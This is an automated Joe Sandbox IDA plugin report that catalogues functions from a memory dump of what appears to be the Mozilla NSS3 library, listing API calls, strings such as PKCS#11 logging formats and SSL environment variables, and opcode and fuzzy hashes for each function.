Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: 80cca8f1d82a1f5b6ca1e5427b01ca4532140f58cb9791b104fd87a46e0a98e4
Instruction ID: c274f68cf284597b9ebe8ea3e5c7ec2fdbc2b045376acaaa1665d41987b4a891
Opcode Fuzzy Hash: 80cca8f1d82a1f5b6ca1e5427b01ca4532140f58cb9791b104fd87a46e0a98e4
Instruction Fuzzy Hash: F651C7B1E101555BDB00DF659C42ABF7AF4EF95398F184028E819E7B00E731D995CBE2

Function 6CAD2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CAD2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CAD2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CAD2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CAD2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CAA4F1C,?,-00000001,00000000,?), ref: 6CAD2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CAA4F1C,?,-00000001,00000000), ref: 6CAD2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CAD2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CAD2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CAD2EF8
PR_Unlock.NSS3(?), ref: 6CAD2F62
TlsGetValue.KERNEL32 ref: 6CAD2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CAD2F9E
PR_Unlock.NSS3(?), ref: 6CAD2FCA
TlsGetValue.KERNEL32 ref: 6CAD301A
EnterCriticalSection.KERNEL32(?), ref: 6CAD302E
PR_Unlock.NSS3(?), ref: 6CAD3066
PR_SetError.NSS3(00000000,00000000), ref: 6CAD3085
PR_Unlock.NSS3(?), ref: 6CAD30EC
TlsGetValue.KERNEL32 ref: 6CAD310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CAD3124
PR_Unlock.NSS3(?), ref: 6CAD314C

Part of subcall function 6CAB9180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CAE379E,?,6CAB9568,00000000,?,6CAE379E,?,00000001,?), ref: 6CAB918D
Part of subcall function 6CAB9180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CAE379E,?,6CAB9568,00000000,?,6CAE379E,?,00000001,?), ref: 6CAB91A0

Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807AD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807CD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807D6
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA1204A), ref: 6CA807E4
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,6CA1204A), ref: 6CA80864
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA80880
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,6CA1204A), ref: 6CA808CB
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808D7
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808FB

PR_SetError.NSS3(00000000,00000000), ref: 6CAD316D

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 846c11f4d9d50d23caecbcbde56dc5efd84f89b83e27394d2b9f09f2b7debfa5
Instruction ID: 24fbefd7f7c4c1952ae44e07334e3345a69a980a10c9e4eae39a55528a2778fc
Opcode Fuzzy Hash: 846c11f4d9d50d23caecbcbde56dc5efd84f89b83e27394d2b9f09f2b7debfa5
Instruction Fuzzy Hash: DEF19DB5D012199FDF00DFA8E884B9DBBB4FF09318F094268E854A7711EB31E995CB91

Function 6CACAF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6CACAF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CACAF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CACAF83

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CACAF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CACAFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CACAFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CACAFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CACB00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CACB028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6CACB041

Strings

ulDataLen = %d, xrefs: 6CACB00A
hSession = 0x%x, xrefs: 6CACAF5E, 6CACAF6E
ulParameterLen = 0x%p, xrefs: 6CACAFD4
pSignature = 0x%p, xrefs: 6CACB023
(CK_INVALID_HANDLE), xrefs: 6CACAF7C
pulSignatureLen = 0x%p, xrefs: 6CACB03C
pParameter = 0x%p, xrefs: 6CACAFB9
pData = 0x%p, xrefs: 6CACAFEF
C_SignMessage, xrefs: 6CACAF41

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
API String ID: 1003633598-1612141141
Opcode ID: 6dc66069f6d7d46cf9315c6c6819e65c7de402897ca503de3a00a88de356e49d
Instruction ID: e07aa7a8b9e36ab14b1500124fa718eee5e9300cfc6b30b7e2915edde071cf58
Opcode Fuzzy Hash: 6dc66069f6d7d46cf9315c6c6819e65c7de402897ca503de3a00a88de356e49d
Instruction Fuzzy Hash: 0A41B379701184AFDB008F54FD88EDE7BB2EB4231DF484024E91967B11DB318999CBAB

Function 6CAB9FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CAB9FBE

Part of subcall function 6CA92F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CA92F0A
Part of subcall function 6CA92F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CA92F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CABA015

Part of subcall function 6CAD1940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6CAD563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6CAD195C
Part of subcall function 6CAD1940: EnterCriticalSection.KERNEL32(?,?,6CAD563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6CAAEAC5,00000001), ref: 6CAD1970
Part of subcall function 6CAD1940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6CAAEAC5,00000001,?,6CAACE9B,00000001,6CAAEAC5), ref: 6CAD19A0

PL_FreeArenaPool.NSS3(?), ref: 6CABA067
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CABA055

Part of subcall function 6CA14C70: TlsGetValue.KERNEL32(?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14C97
Part of subcall function 6CA14C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14CB0
Part of subcall function 6CA14C70: PR_Unlock.NSS3(?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CABA07E
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CABA0B1
PL_FreeArenaPool.NSS3(?), ref: 6CABA0C7
PL_FinishArenaPool.NSS3(?), ref: 6CABA0CF
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CABA12E
PL_FreeArenaPool.NSS3(?), ref: 6CABA140
PL_FinishArenaPool.NSS3(?), ref: 6CABA148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CABA158
PL_FinishArenaPool.NSS3(?), ref: 6CABA175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6CABA1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6CABA1B2
free.MOZGLUE(00000000), ref: 6CABA1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6CABA1D6

Part of subcall function 6CAD55E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6CAAEAC5,00000001,?,6CAACE9B,00000001,6CAAEAC5,00000003,-00000004,00000000,?,6CAAEAC5), ref: 6CAD5627
Part of subcall function 6CAD55E0: PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0,?,?,?,?,?,?,?,?,?,?,6CAAEAC5,00000001,?,6CAACE9B), ref: 6CAD564F
Part of subcall function 6CAD55E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CAAEAC5,00000001), ref: 6CAD5661
Part of subcall function 6CAD55E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAAEAC5), ref: 6CAD56AF

Strings

security, xrefs: 6CABA00F

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 4e549586156df29fbd0fe443565a625d42cc6812a7079840adfbc0d74f06df34
Instruction ID: 332c89174e9346203ba498d5407f44fcefc933584ac295ecbd18112280ec86d4
Opcode Fuzzy Hash: 4e549586156df29fbd0fe443565a625d42cc6812a7079840adfbc0d74f06df34
Instruction Fuzzy Hash: 3651D9B5D00205ABEB009BA4EE45BAE737DAF4570CF140124F919BBB41E771998DC7A2

Function 6CAD6CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAD6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CAD6943
Part of subcall function 6CAD6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CAD6957
Part of subcall function 6CAD6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CAD6972
Part of subcall function 6CAD6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CAD6983
Part of subcall function 6CAD6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CAD69AA
Part of subcall function 6CAD6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CAD69BE
Part of subcall function 6CAD6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CAD69D2
Part of subcall function 6CAD6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CAD69DF
Part of subcall function 6CAD6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CAD6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CAD6D8C
free.MOZGLUE(00000000), ref: 6CAD6DC5
free.MOZGLUE(?), ref: 6CAD6DD6
free.MOZGLUE(?), ref: 6CAD6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CAD6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CAD6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CAD6E72
free.MOZGLUE(?), ref: 6CAD6EA7
free.MOZGLUE(?), ref: 6CAD6EC4
free.MOZGLUE(?), ref: 6CAD6ED5
free.MOZGLUE(00000000), ref: 6CAD6EE3
free.MOZGLUE(?), ref: 6CAD6EF4
free.MOZGLUE(?), ref: 6CAD6F08
free.MOZGLUE(00000000), ref: 6CAD6F35
free.MOZGLUE(?), ref: 6CAD6F44
free.MOZGLUE(?), ref: 6CAD6F5B
free.MOZGLUE(00000000), ref: 6CAD6F65

Part of subcall function 6CAD6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CAD781D,00000000,6CACBE2C,?,6CAD6B1D,?,?,?,?,00000000,00000000,6CAD781D), ref: 6CAD6C40
Part of subcall function 6CAD6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CAD781D,?,6CACBE2C,?), ref: 6CAD6C58
Part of subcall function 6CAD6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CAD781D), ref: 6CAD6C6F
Part of subcall function 6CAD6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CAD6C84
Part of subcall function 6CAD6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CAD6C96
Part of subcall function 6CAD6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CAD6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CAD6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CAD6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CAD6FF4

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: 15db761ab09c5aad81d7a0456256d285ae0a61f1eb838d874b59cafeb2152cfe
Instruction ID: cd2d041f74d232a77d3f572bf865650c8150c02d739e88bbb902c9d29c3ed544
Opcode Fuzzy Hash: 15db761ab09c5aad81d7a0456256d285ae0a61f1eb838d874b59cafeb2152cfe
Instruction Fuzzy Hash: ADB160B0E0121A9FDF00CFA5D844B9EBBB4AF09748F1A0925E815E7701EB31F994CB61

Function 6CAD4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAD4C4C
EnterCriticalSection.KERNEL32(?), ref: 6CAD4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CAD4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD4DB7

Part of subcall function 6CB3DD70: TlsGetValue.KERNEL32 ref: 6CB3DD8C
Part of subcall function 6CB3DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DDB4

Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807AD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807CD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807D6
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA1204A), ref: 6CA807E4
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,6CA1204A), ref: 6CA80864
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA80880
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,6CA1204A), ref: 6CA808CB
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808D7
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808FB

TlsGetValue.KERNEL32 ref: 6CAD4DD7
EnterCriticalSection.KERNEL32(?), ref: 6CAD4DEC
PR_Unlock.NSS3(?), ref: 6CAD4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CAD4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CAD4E71
free.MOZGLUE(00000000), ref: 6CAD4E7A
PR_Unlock.NSS3(?), ref: 6CAD4EA2
TlsGetValue.KERNEL32 ref: 6CAD4EC1
EnterCriticalSection.KERNEL32(?), ref: 6CAD4ED6
PR_Unlock.NSS3(?), ref: 6CAD4F01
free.MOZGLUE(00000000), ref: 6CAD4F2A

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 600bba5d181b268f0ca71ecd1393335ef2d7e50fcd1c2f6b891f2a1f13b74b7f
Instruction ID: 81e94afeb7b10dafa99526643b5f5091c1c0be4feaf9f905a21ea51a21f2eb9f
Opcode Fuzzy Hash: 600bba5d181b268f0ca71ecd1393335ef2d7e50fcd1c2f6b891f2a1f13b74b7f
Instruction Fuzzy Hash: 6DB1C175A00206AFDB01EF68E885BAE77B4BF09318F094124ED1597B51EB34F9A4CBD1

Function 6CADFFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CADFFB4

Part of subcall function 6CB598D0: calloc.MOZGLUE(00000001,00000084,6CA80936,00000001,?,6CA8102C), ref: 6CB598E5

PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CADFFC6

Part of subcall function 6CB598D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CB59946
Part of subcall function 6CB598D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA116B7,00000000), ref: 6CB5994E
Part of subcall function 6CB598D0: free.MOZGLUE(00000000), ref: 6CB5995E

PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CADFFD6
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CADFFE6
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CADFFF6
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE0006
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE0016
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE0026
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE0036
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE0046
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE0056
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE0066
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE0076
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE0086
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE0096
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE00A6
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE00B6
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE00C6
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE00D6
PR_NewLock.NSS3(?,?,6CAD76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA75C2,00000000), ref: 6CAE00E6

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 76283fca29b8785933b1ec8695e4003b9408e80de1bd5fd47f9d3a060fb8591f
Instruction ID: c70da2970c8e9fb65a7aba75cae7ff8021e281610f52eb41564cc0cd195b09dd
Opcode Fuzzy Hash: 76283fca29b8785933b1ec8695e4003b9408e80de1bd5fd47f9d3a060fb8591f
Instruction Fuzzy Hash: 9E3144F0E017D89F9B4ADF25E14918E3AB4B716A89790512AD2A487700D7F4015ACFE7

Function 6CB26E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CB26BF7), ref: 6CB26EB6

Part of subcall function 6CA81240: TlsGetValue.KERNEL32(00000040,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA81267
Part of subcall function 6CA81240: EnterCriticalSection.KERNEL32(?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA8127C
Part of subcall function 6CA81240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA81291
Part of subcall function 6CA81240: PR_Unlock.NSS3(?,?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA812A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CBCFC0A,6CB26BF7), ref: 6CB26ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB26EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CB26EFC
PR_NewLock.NSS3 ref: 6CB26F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CB26F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CB26BF7), ref: 6CB26F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CB26BF7), ref: 6CB26F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CB26BF7), ref: 6CB26FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CB26BF7), ref: 6CB26FFD

Strings

SSLKEYLOGFILE, xrefs: 6CB26EB1
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CB26FDB
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CB26F4F
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CB26FF8
SSLFORCELOCKS, xrefs: 6CB26F2B
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CB26EF7

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

